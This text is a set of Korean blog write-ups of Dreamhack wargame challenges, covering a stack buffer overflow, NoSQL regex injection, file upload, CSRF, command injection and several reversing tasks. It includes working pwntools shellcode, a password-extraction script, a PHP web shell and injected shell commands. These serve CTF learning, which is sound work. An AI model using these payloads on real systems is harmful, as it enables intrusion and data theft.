728x90

버퍼오버플로우란?

버퍼의 크기를 넘는 값을 입력하여 리턴주소를 조작하는 공격이다.

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

buf 크기는 128 bytes인데 141 bytes를 입력받고 있다. 따라서 버퍼오버플로우 공격이 가능하다.

파이썬 코드로 공격을 수행한다. pwntools라는 라이브러리를 사용한다.

from pwn import *

p=remote('host3.dreamhack.games',17617) #host3.dreamhack.games의 17617포트에 연결한다.

p.recvuntil(b'buf = (') #buf = ( 까지 읽어들임

buf_addr=int(p.recv(10),16) # 10자리 문자열(buf 주소) 읽어들인 후 16진수로 변환

# 쉘 코드(26 bytes)+임의의 문자 106개
sh=b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'+b'A'*106

sh+=p32(buf_addr) # 리턴 주소를 버퍼의 주소로 덮어쓰기 위함. p32는 리틀엔디안으로 바이트 형식 데이터 반환

p.send(sh) # payload 송신

p.interactive() # 연결 지속

일반적으로 스택 구조는 buf+ebp+리턴주소다.

쉘 코드(26 bytes) + "A"*106 + \x12\x34\x56\x78 형식의 payload가 완성된다.

"A"*106인 이유는 buf의 크기 102(128-26)+4(ebp) 때문이다.

리턴주소를 버퍼의 시작주소로 함으로써 쉘 코드의 위치로 쉘 코드가 리턴되어 실행된다.

728x90

'dreamhack > System Hacking' 카테고리의 다른 글

basic_exploitation_001  (0) 2023.02.14
welcome  (0) 2023.02.12
728x90

ida로 chall3 파일을 연다. main 함수에 접근해서 f5 누르면 Pseudocode가 나온다.

입력을 받아 sub_140001000 함수에 전달한다. sub_140001000 함수 결과에 따라 Correct가 출력된다.

sub_140001000 함수의 Pseudocode도 보자.

24 글자를 비교하는데 byte_140003000[i] 과 (i ^ a1[i])+ 2*i 가 한 글자라도 다르면 0 반환한다. 즉, 모두 일치해야한다.

byte_140003000에 가니 24개의 16진수 값들이 보인다.

a1에 입력한 문자열이 들어가기 때문에 a1 문자열을 찾아야한다.

a1[i] =i ^ (byte_140003000[i] - 2*i)

b=[0x49, 0x60, 0x67, 0x74, 0x63, 0x67, 0x42, 0x66, 0x80, 0x78, 0x69, 0X69,
   0x7b, 0x99, 0x6d, 0x88, 0x68, 0x94, 0x9f, 0x8d, 0x4d, 0xa5, 0x9d, 0x45]
a=[]
for i in range(24):
    a.append(i ^ (b[i] - 2 * i))
    print(chr(a[i]),end="")

실행결과

I_am_X0_xo_Xor_eXcit1ng
728x90

'dreamhack > Reverse Engineering' 카테고리의 다른 글

rev-basic-2  (0) 2023.02.13
rev-basic-1  (0) 2023.02.12
rev-basic-0  (0) 2023.02.12
728x90

우클릭 후 이미지대로 들어가서 correct 문자열 찾는다.

correct 더블클릭한다.

correct를 출력하려면 위에서 chall2.7FF6339D1000에서 실행한 함수의 결과(eax에 저장됨)가 0이 아니어야한다.

call 명령어 부분 더블클릭한다.

jae(jump above or equal) : 크거나 같을 때 점프

movsxd(Move doubleword to quadword with sign-extension) : doubleword를 quadword로 부호 유지한채로 저장

7FF6339D3000에 있는 문자를 하나씩 비교하는 코드다. 17번 비교하는 것을 보니 17글자인가보다.

FLAG가 보인다.

DH{Comp4re_the_arr4y}
728x90

'dreamhack > Reverse Engineering' 카테고리의 다른 글

rev-basic-3  (0) 2023.02.14
rev-basic-1  (0) 2023.02.12
rev-basic-0  (0) 2023.02.12
728x90
$(function() {
  $('#jack-target').click(function () {
    counter += 1;
    if (counter <= 10000 && counter % 100 == 0) {
      for (var i = 0; i < pumpkin.length; i++) {
        pumpkin[i] ^= pie;
        pie = ((pie ^ 0xff) + (i * 10)) & 0xff;
      }
    }
    make();
  });
});

클릭할 때마다 counter 값이 1 증가하고 make 함수를 실행한다.

function make() {
  if (0 < counter && counter <= 1000) {
    $('#jack-nose').css('opacity', (counter) + '%');
  }
  else if (1000 < counter && counter <= 3000) {
    $('#jack-left').css('opacity', (counter - 1000) / 2 + '%');
  }
  else if (3000 < counter && counter <= 5000) {
    $('#jack-right').css('opacity', (counter - 3000) / 2 + '%');
  }
  else if (5000 < counter && counter <= 10000) {
    $('#jack-mouth').css('opacity', (counter - 5000) / 5 + '%');
  }

  if (10000 < counter) {
    $('#jack-target').addClass('tada');
    var ctx = document.querySelector("canvas").getContext("2d"),
    dashLen = 220, dashOffset = dashLen, speed = 20,
    txt = pumpkin.map(x=>String.fromCharCode(x)).join(''), x = 30, i = 0;

    ctx.font = "50px Comic Sans MS, cursive, TSCu_Comic, sans-serif"; 
    ctx.lineWidth = 5; ctx.lineJoin = "round"; ctx.globalAlpha = 2/3;
    ctx.strokeStyle = ctx.fillStyle = "#1f2f90";

    (function loop() {
      ctx.clearRect(x, 0, 60, 150);
      ctx.setLineDash([dashLen - dashOffset, dashOffset - speed]); // create a long dash mask
      dashOffset -= speed;                                         // reduce dash length
      ctx.strokeText(txt[i], x, 90);                               // stroke letter

      if (dashOffset > 0) requestAnimationFrame(loop);             // animate
      else {
        ctx.fillText(txt[i], x, 90);                               // fill final letter
        dashOffset = dashLen;                                      // prep next char
        x += ctx.measureText(txt[i++]).width + ctx.lineWidth * Math.random();
        ctx.setTransform(1, 0, 0, 1, 0, 3 * Math.random());        // random y-delta
        ctx.rotate(Math.random() * 0.005);                         // random rotation
        if (i < txt.length) requestAnimationFrame(loop);
      }
    })();
  }
  else {
    $('#clicks').text(10000 - counter);
  }
}

counter 값이 변함에 따라 호박에도 변화가 생기고 counter 값이 10000을 넘어갈 때 행위들이 발생한다. flag가 나올 것이다.

따라서 호박을 10001번 클릭하면 counter 변수가 10000을 넘어가며 풀린다.

f12 개발자 옵션에서 콘솔에 들어가서 10000번 클릭하는 코드를 실행한다.

그 결과 counter는 0에서 10000이 된다. 한 번 클릭할때마다 1 증가하기 때문이다.

마지막으로 직접 호박을 클릭하면 counter 값이 10001이 된다.

 

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

proxy-1  (0) 2023.02.15
web-ssrf  (0) 2023.02.15
Mango  (0) 2023.02.13
image-storage  (0) 2023.02.13
CSRF-2  (0) 2023.02.12
728x90

Blind SQL Injection

쿼리가 참/거짓임을 구분할 수 있는 정보를 가지고 데이터를 추론해 나가는 공격이다.

이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제입니다.
플래그는 admin 계정의 비밀번호 입니다.
플래그의 형식은 DH{…} 입니다.
{‘uid’: ‘admin’, ‘upw’: ‘DH{32alphanumeric}’}
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

upw는 DH{32자리 알파벳&숫자 조합} 형태로 DB에 저장되어 있다.

/login 페이지에서 URL 쿼리를 받아서 필터링한다. 쿼리에 admin, dh, admi가 있으면 필터링된다.

없으면 uid와 upw 인자로 전달한 값이 uid, upw 변수에 각각 저장된다.

user collection에서 uid와 upw키에 해당하는 값이 uid, upw 변수의 값과 일치하는 첫 번째 행을 반환하고 uid 키의 값만을 출력한다.

파이썬 코드를 이용하여 Blind SQL Injection 공격을 수행한다.

import requests
import string
 
url = "http://host3.dreamhack.games:11000/login"
s = string.digits + string.ascii_uppercase + string.ascii_lowercase
result = "" 
for i in range(32): 
    for key, val in enumerate(s): 
        payload = "?uid[$gt]=^adm&upw[$regex]={"+(result+val)
        r = requests.get(url+payload)
        
        if r.text.find("admin")!=-1: 
            result += val
            print(result)
            break
 
flag = "DH{"+result+"}"
print(flag)

string.digits: 0123456789 문자열

string.ascii_uppercase: ABCD...XYZ 문자열

string.ascii_lowercase: abcd....xyz

enumerate(s) 함수는 0~9A~Za~z 문자열을 index와 문자쌍으로 이루어진 enumerate 객체 반환

payload = "?uid[$regex]=^adm&upw[$regex]={"+(result+val): $regex는 정규표현식을 의미한다. uid에 정규표현식으로 ^adm을 대입하고 upw에는 정규표현식으로 '{문자열' 형태로 대입한다. admin을 필터링하기에 정규표현식을 썼고 ^adm은 adm으로 시작하는 문자열에 해당한다. ^을 빼고 adm만 써도 문제는 풀 수 있다. '{문자열'을 포함하는 upw를 찾는다. 여기서 문자열은 비밀번호를 의미한다.

참고로 payload에서 & 문자 옆에 띄워쓰기하면 admin이 반환될 payload여도 undefined가 반환된다.

uid와 upw 정규표현식을 만족한다면 웹 페이지에 admin을 출력한다. admin 출력여부를 가지고 Blind SQL Injection을 통해 비밀번호를 한 자리씩 알아내고 알아낸 비밀번호를 이용해 비밀번호의 다음 문자를 찾아가는 방식이다.

8
89e
89e5
(생략)
89e50fa6fafe2604e33c0ba05843d
89e50fa6fafe2604e33c0ba05843d3
89e50fa6fafe2604e33c0ba05843d3d
89e50fa6fafe2604e33c0ba05843d3df
DH{89e50fa6fafe2604e33c0ba05843d3df}
728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

web-ssrf  (0) 2023.02.15
Carve Party  (0) 2023.02.13
image-storage  (0) 2023.02.13
CSRF-2  (0) 2023.02.12
command-injection-1  (0) 2023.02.12
728x90

파일 업로드 공격은 파일 업로드 할 수 있는 기능을 통해 웹쉘을 업로드하여 시스템을 장악하는 공격이다.

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }

업로드된 파일은 php에서 $_FILES 전역변수를 이용해 접근가능하다.

이 문제에선 서버가 업로드받은 파일은 $_FILES["file"]["tmp_name"]에 존재한다. 이는 $file["tmp_name"]와 동일하다.

move_uploaded_file은 서버는 업로드 받은 파일을 저장할 때 사용하는 함수다.

서버가 업로드 받은 $tmp_name 파일을 ./uploads/실제파일명으로 저장 후 Stored in: ./uploads/실제파일명을 출력한다.

아래의  php 파일을 만들어 업로드한 후 list 페이지에 접속하면 파일이 보일 것이다.

<?php
  system($_GET['cmd'])
?>

cmd 인자의 값을 get 방식으로 전달하면 cmd 인자의 값을 실행한다. cat /flag.txt를 전달하였다.

list 페이지
URL

DH{c29f44ea17b29d8b76001f32e8997bab}

FLAG가 출력된다.

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

Carve Party  (0) 2023.02.13
Mango  (0) 2023.02.13
CSRF-2  (0) 2023.02.12
command-injection-1  (0) 2023.02.12
CSRF-1  (0) 2023.02.12
728x90

CSRF란?

희생자가 CSRF 스크립트가 포함된 웹 페이지에 접속하면 희생자의 권한을 통해 공격자가 의도한 행위(등록, 수정, 삭제 등)를 실행하게 하는 취약점이다. XSS 공격은 악성 스크립트가 클라이언트에서 실행되는데 반해, CSRF 공격은 희생자가 악성 스크립트(등록, 수정, 삭제하는 스크립트)를 서버에 요청한다는 점에 차이가 있다.

app.py를 분석해야 한다.

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        session_id = os.urandom(16).hex()
        session_storage[session_id] = 'admin'
        if not check_csrf(param, {"name":"sessionid", "value": session_id}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

flag 함수부터 봐야 한다. sessionid 값을 생성하기 때문이다. session_id를 만들고 비어있는 session_storage에 키를 session_id, 값을 admin으로 설정하고 check_csrf를 호출한다. session_id가 넘어간다.

def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

늘 그랬듯이 admin의 vuln 웹 페이지에 param 인자값을 설정하여 read_url 함수를 호출한다. cookie에는 session_id가 들어있다.

        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)

read_url 함수 일부이다. 127.0.0.1:8000 웹 페이지의 쿠키에 sessionid 이름으로 session_id값을 저장한다. 그리고 url(check_csrf에서 만든 url)에 해당하는 웹 페이지를 연다.

@app.route("/change_password")
def change_password():
    pw = request.args.get("pw", "")
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    users[username] = pw
    return 'Done'

아직 입력값은 언급하지 않았지만 입력값에 의해 url은 change_password 웹 페이지에 접근하도록 할 것이다. url parameter의 pw의 값을 pw 변수에 저장한다. 쿠키에 저장된 sessionid도 session_id 변수에 저장한다. flag 함수에서 session_storage에 session_id를 키로, admin을 값으로 저장했기에 username에는 admin이 들어간다.

users = {
    'guest': 'guest',
    'admin': FLAG
}

users의 admin에 해당하는 값이 pw의 값으로 바뀔 것이다. 즉, 지금 admin의 비밀번호가 바뀐다.

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(8).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

이제 login 페이지에서 로그인을 수행한다. 지금부터는 admin이 아닌 나의 웹 페이지에서 실행한다. pw에는 바뀐 admin의 비밀번호가 들어가 있다. 따라서 login 창에서 id는 admin, password는 바꾼 비밀번호를 입력하면 / 페이지로 redirect 하는 객체가 생성된다. session_storage에 새로 생성한 session_id를 키로, admin을 값으로 저장된다. response 객체의 쿠키에는 sessionid 이름에 session_id 값을 새로 만들어 설정된다. 그리고 리턴함으로써 / 페이지로 이어진다.

@app.route("/")
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')

login 함수에서 cookie에 sessionid를 키로 session_id를 값으로 저장했기에 session_id 변수에 session_id 값이 저장된다. login 함수에서 session_storage에 session_id를 키로 admin을 값으로 저장했기에 username에는 admin이 저장된다. username이 admin이기에 FLAG가 출력된다.

처음에 flag 페이지에서 다음과 같이 입력하면 된다.

<img src="/change_password?pw=1">

이미지를 불러오는 태그다. 위의 과정이 이해됐으면 입력값을 넣었을 때 동작 과정이 쉽게 이해될 것이다.

 

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

Mango  (0) 2023.02.13
image-storage  (0) 2023.02.13
command-injection-1  (0) 2023.02.12
CSRF-1  (0) 2023.02.12
XSS-2  (0) 2023.02.12
728x90

Command Injection이란?

Command Injection은 웹 어플리케이션이 시스템 명령을 사용할 때 ';', '&', '&&', '||' 등을 이용하여 공격자가 원하는 시스템 명령을 실행하는 공격이다.

@APP.route('/ping', methods=['GET', 'POST'])
def ping():
    if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'ping -c 3 "{host}"'
        try:
            output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
            return render_template('ping_result.html', data=output.decode('utf-8'))

app.py 코드의 ping 함수이다. cmd에 저장된 명령을 /bin/sh에서 실행하는 구조다.

뒤에 명령을 이어서 입력하면 x.x.x.x 형식이 아니어서 요청이 가질 않는다. Burp Suite를 이용하여 이를 조작해야한다.

8.8.8.8만 입력 후 host 데이터를 수정한다.

cmd = f'ping -c 3 "{host}"'

명령어 형식이 위와 같기 때문에 문법에 맞게 완성시켜야한다. intercept한 패킷을 repeater로 보낸 후 send한다.

cmd는 ping -c 3 "8.8.8.8"; cat flag.py ""가 된다. 명령어1; 명령어2 이렇게 입력하면 명령어1 실행 후 명령어2를 실행한다. 즉 명령어1의 실행 성공 여부와 상관없이 순차적으로 실행한다. FLAG가 flag.py에 있다길래 cat 명령어로 출력했다.

FLAG가 나온다.

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

image-storage  (0) 2023.02.13
CSRF-2  (0) 2023.02.12
CSRF-1  (0) 2023.02.12
XSS-2  (0) 2023.02.12
devtools-sources  (0) 2023.02.11
728x90

rev-basic-0과 동일하게 correct 문자열을 검색하여 찾아간다.

마찬가지로 test eax, eax 연산에서 eax가 0이라면 eax끼리 and 연산 시 0이 반환되므로 ZF 플래그는 1로 세팅되어 바로 아래의 je chall1.7FF6F1E013B6가 실행될 것이다. 그럼 wrong가 출력된다. 따라서 eax는 0이 아니어야 한다. eax는 test eax, eax 어셈블리 코드 바로 위의 call chall11.7FF6F1E01000의 결괏값이 저장되기에 더블 클릭하여 이동한다.

어셈블리 코드는 다음과 같다. 우선 이 코드는 문자열을 앞에서부터 한 글자씩 비교하는 코드이다.

첫 글자 C 비교과정을 보면 rcx의 값이 rsp+8 주소로 이동한다. rcx는 문자열의 주소값일 것이다. rsp+8에는 문자열의 주소값이 계속 위치한다. mov eax,1로 eax에 1이 저장되고 imul rax,rax,0는 rax에 0이 저장된다. imul a, b, n이면 a=b*n 형식으로 실행된다. mov rcx, qword pt ss:[rsp+8] 결과 rsp+8에 있던 문자열의 주소가 rcx에 저장된다. movzx eax, byte ptr ds:[rcx+rax] 결과 문자열 첫 글자가 eax에 저장된다. cmp eax, 43은 eax- 0x43 연산을 하여 결과값이 0이면 ZF를 1로 세팅한다. 만약 같았다면 je chall1.7FF6F1E01023가 실행되어 다음 문자를 비교할 것이다. 만약 다르다면 xor eax, eax 다음 jmp chall1.7FF6F1E0128E가 실행되어 종료하게 된다. 따라서 옆에 한 글자씩 출력되는 문자들이 FLAG가 된다.

DH{Compar3_the_ch4ract3r}
728x90

'dreamhack > Reverse Engineering' 카테고리의 다른 글

rev-basic-3  (0) 2023.02.14
rev-basic-2  (0) 2023.02.13
rev-basic-0  (0) 2023.02.12
728x90
#include <stdio.h>

int main(void) {
    
    FILE *fp;
    char buf[0x80] = {};
    size_t flag_len = 0;

    printf("Welcome To DreamHack Wargame!\n");

    fp = fopen("/flag", "r");  // /flag 파일 오픈
    fseek(fp, 0, SEEK_END);  //파일 끝으로 이동
    flag_len = ftell(fp);  //파일 내용 길이 저장
    fseek(fp, 0, SEEK_SET); //파일 시작 위치로 이동
    fread(buf, 1, flag_len, fp);  //파일 내용 끝까지 읽음
    fclose(fp);  //읽기 종료

    printf("FLAG : ");

    fwrite(buf, 1, flag_len, stdout);  //파일 내용 화면에 출력
}

linux에서 문제에 주어진 nc 명령을 그대로 입력한다.

nc host3.dreamhack.games 9048

nc는 netcat의 약자로 통신할 때 사용한다. 연결하자마자 FLAG가 출력된다.

728x90

'dreamhack > System Hacking' 카테고리의 다른 글

basic_exploitation_001  (0) 2023.02.14
basic_exploitation_000  (0) 2023.02.14

+ Recent posts